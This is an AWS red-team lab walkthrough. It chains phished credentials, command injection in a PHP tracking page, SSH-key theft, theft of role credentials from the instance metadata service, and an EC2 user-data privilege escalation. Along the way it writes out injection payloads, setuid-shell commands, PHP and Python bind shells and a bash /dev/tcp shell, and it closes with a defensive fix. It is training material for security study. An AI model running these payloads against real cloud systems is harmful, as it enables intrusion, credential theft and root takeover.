Command Injection to EC2 User Data Privilege Escalation(AWS-Red team lab)
Video:
Scenario
After a successful smishing attack on your client, Huge Logistics, you’ve obtained AWS credentials for a user account. Your task is to use these initial credentials to explore and possibly expand your access within their cloud environment. Your objective is to demonstrate impact of smishing the user. Let the hunt begin.
Lab prerequisites
- Basic Linux command line knowledge
- Basic web knowledge
Learning outcomes
- Basic web application enumeration
- Basic command injection testing and exploitation
- IAM role and policy and EC2 instance enumeration
Difficulty
Beginner
Focus
Red
Real-world context
With remote code execution (RCE), injected programming code is executed, whereas with a command injection, it’s an OS command that is being executed. This lab focuses on OS command injections, which are a common and significant real-world issue in software applications, occurring when untrusted user input is directly incorporated into system commands without proper validation or sanitization.
Walkthrough
Attack
Enumeration
First let’s set the gained AWS credentials with aws configure, and set the region to us-west-2.
Executing the command aws sts get-caller-identity we confirm that we're in operating in the context of the AWS IAM user ryan. We should also take note of the AWS account ID.
Let’s see if any policies are attached directly to our user.
aws iam list-attached-user-policies --user-name ryanThis reveals the policy named Compute. Running the command below returns that current version of this policy is v1. Substitute the AWS account ID from the previous command.
aws iam get-policy --policy-arn arn:aws:iam::<AWS_ACCOUNT_ID>:policy/ComputeDigging in further we see that as well as the allowed IAM actions, we’re able to retrieve information about any EC2 instances available in the account.
aws iam get-policy-version --policy-arn arn:aws:iam::<AWS_ACCOUNT_ID>:policy/Compute --version-id v1Running the command aws ec2 describe-instances reveals the private IP address of the instance.
Note: the IP address for your instance will be different. Replace this value with your IP in the provided commands where appropriate.
Running an Nmap scan against the IP address reveals that port 80 is open.
nmap -Pn <IP_ADDRESS>Navigating to the IP address in a browser we see the site below.
There are various static pages and also a page that allows users to track shipments.
Entering a random tracking number in the indicated format results in the user provided input being returned as output on the page.
Foothold
We might form an idea that behind this functionality is a command that takes our input and performs some sort of query. Assuming that the command is something likecli-tool <user provided input> <rest of command>, we could try a payload such as $(command) that will hopefully assign the value of our command output to the tracking number variable.
This worked! We have validated the command injection vulnerability and see that we’re in the execution context of the Apache user www-data.
The command id shows the default group.
Running $(cat /etc/passwd) to read the passwd file reveals the non-default system user named ryan.
Listing the web root with $(ls) shows the files below. The file index.php.save was created by Nano when the application was terminated while editing index.php. We could have used a directory / file enumeration tool such as ffuf, with a list of common backup file names to find it. This could then be downloaded, which would also allow us to identify the command injection vulnerability.
Moving on to list the root directories with $(ls /) we see the non-default directory named file_backups.
Inputting the command $(ls /file_backups/) reveals an SSH key.
Attempting to read the key we see the format is messed up on the page. Let’s base64-encode it first.
$(cat /file_backups/id_rsa)
Enter $(cat /file_backups/id_rsa | base64 -w0) and copy the base64 string.
Make sure to add == to the end of the base64 string if you didn't copy this from the web page already. Then run the command echo <base64> | base64 -d > id_rsa to recreate the SSH key locally. Run chmod 400 id_rsa to set the correct permissions. We've already identified the user ryan, let's see if it's their key!
ssh -i id_rsa ryan@<IP_ADDRESS>We’re in! The groups don’t seem interesting. Let’s query the instance metadata service that is bound to 169.254.169.254 and check if an IAM role has been attached to the EC2 instance.
curl 169.254.169.254/latest/meta-data/iam/security-credentials/A role named ComputeAdmin is available. Let's get the credentials and assume the role.
curl 169.254.169.254/latest/meta-data/iam/security-credentials/ComputeAdminAfter running aws configure we set the token with aws configure set aws_session_token "<token>". Running aws sts get-caller-identity confirms our new context.
Enumeration of policies attached to the role reveals a policy of the same name.
aws iam list-attached-role-policies --role-name ComputeAdminThe only version of this policy is v1.
aws iam get-policy --policy-arn arn:aws:iam::<AWS_ACCOUNT_ID>:policy/ComputeAdminRunning the command below returns the policy content.
aws iam get-policy-version --policy-arn arn:aws:iam::<AWS_ACCOUNT_ID>:policy/ComputeAdmin --version-id v1As well as the IAM permissions we see that we’re able to start and stop, and modify the attributes of any EC2 instances. This includes being able to modify the EC2 instance user data, presenting a privilege escalation opportunity.
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"ec2:DescribeInstances",
"ec2:StartInstances",
"ec2:ModifyInstanceAttribute",
"ec2:StopInstances"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"iam:GetRole",
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
],
"Resource": [
"arn:aws:iam::<AWS_ACCOUNT_ID>:policy/ComputeAdmin",
"arn:aws:iam::<AWS_ACCOUNT_ID>:role/ComputeAdmin"
]
}Privilege Escalation
The AWS documentation details how we can leverage user data to execute commands in the context of root on Linux at launch. In the example below we’ve added commands to create a copy of the root-owned binary /bin/sh and add the setuid bit, allowing us to run the binary as root. The EC2 instance has to be in a stopped state for us to update the user data.
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"#cloud-config
cloud_final_modules:
- [scripts-user, always]--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"#!/bin/bash
cp /bin/sh /var/www/html/tracking/suid
chmod u+s /var/www/html/tracking/suid
cp /usr/bin/sh /var/www/html/tracking/suid1
chmod u+s /var/www/html/tracking/suid1
/usr/bin/php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",8004);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'&
/usr/bin/python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",8005));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'&
/usr/bin/bash -i >& /dev/tcp/0.0.0.0/8006 0>&1
--//
With modify-instance-attribute, the AWS CLI does not perform base64 encoding of the user data for us, so we'll do this manually.
base64 userdata.txt > userdata.b64.txtOrcat userdata.txt | base64 > userdata.b64.txt
We’ll need to specify the ID of the EC2 instance to modify, and can get this from the metadata service or from the previous aws ec2 describe-instances command.
curl http://169.254.169.254/latest/meta-data/instance-idStop the EC2 instance.
aws ec2 stop-instances --instance-id <INSTANCE_ID>Now we’ll update the user data. We’ll use the --attribute and --value parameters and the file:// prefix to specify our base64 encoded file containing the user data.
aws ec2 modify-instance-attribute --instance-id=<INSTANCE_ID> --attribute userData --value file://userdata.b64.txtStart the EC2 instance. If we need to check that the machine is in a running state we can just run this command again.
aws ec2 start-instances --instance-id <INSTANCE_ID>After stopping and starting the instance let’s check the private IP address again.
aws ec2 describe-instances --instance-ids <INSTANCE_ID> --query 'Reservations[*].Instances[*].PrivateIpAddress' --output textAfter logging in again over SSH, we run the suid file with ./suid -p and get root. The -p switch is used so sh does not attempt to reset the effective uid if it does not match the uid (ryan). PWNED!
Defense
The shipment tracking page was vulnerable to command injection. This was because the user-provided input from the $_POST["tracking-number"] variable is directly passed into the system() function without proper validation or sanitization, allowing us to inject malicious commands and execute arbitrary code on the server. To prevent this command injection vulnerability we need to validate and sanitize the input.
A fixed version of the code that addresses the vulnerability is below. The escapeshellarg PHP function is used to escape a string to be used as an argument in a shell command. It adds escape characters to the string to ensure that any special characters or metacharacters are treated as literal characters and not interpreted as part of the command or used for injection attacks.
$number = $_POST["tracking-number"];
$cleanNumber = escapeshellarg($number); // Sanitize the input$command = "grep " . $cleanNumber . " shipment_export.csv 2>&1 > /dev/null";
$output = shell_exec($command);if (!empty($output)) {
echo "<p>The parcel is arriving soon</p>";
} else {
echo "<p>Could not find shipment number: " . htmlspecialchars($number) . "</p>"; // Use htmlspecialchars to prevent HTML injection
}
It’s essential to exercise extreme caution when executing shell commands based on user input. Whenever possible, it is advisable to use safer alternatives or consider a more secure approach that avoids directly executing shell commands.
It’s also not advisable to update files in the web root or accessible subdirectories, as artefacts such as index.php.bak can unintentionally be created that could provide attackers with the source code. This can be reviewed and may contain obvious as well as non-obvious vulnerabilities that may not have been possible to detect without the source code. The file index.php.bak once identified should be deleted.
Further reading
https://medium.com/@win3zz/facebook-bug-a-journey-from-code-execution-to-s3-data-leak-698b7d2b02ef
https://hackerone.com/reports/1360208
https://hackerone.com/reports/303061
Additional screenshots-
curl 169.254.169.254/latest/meta-data/iam/security-credentials/ComputeAdminWe can directly get these from the web app as well
Bruteforcing IAM permissions-
python3 /opt/CloudPEASS/AWSPEAS.py --not-use-hacktricks-ai --profile assumed --region us-west-2 --out-json-path ./compute_admin.jsoni-0b8163ea832483434Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/usr/bin/bash
cp /bin/sh /var/www/html/tracking/suid
chmod u+s /var/www/html/tracking/suid
/usr/bin/php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",8004);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'&
/usr/bin/python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",8005));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'&
/usr/bin/bash -i >& /dev/tcp/0.0.0.0/8006 0>&1
--// base64 ec2_cmd_exec_on_boot.txt > ec2_cmd_exec_on_boot.b64.txtaws ec2 modify-instance-attribute --instance-id=i-0b8163ea832483434 --attribute userData --value file://ec2_cmd_exec_on_boot.b64.txt --profile assumed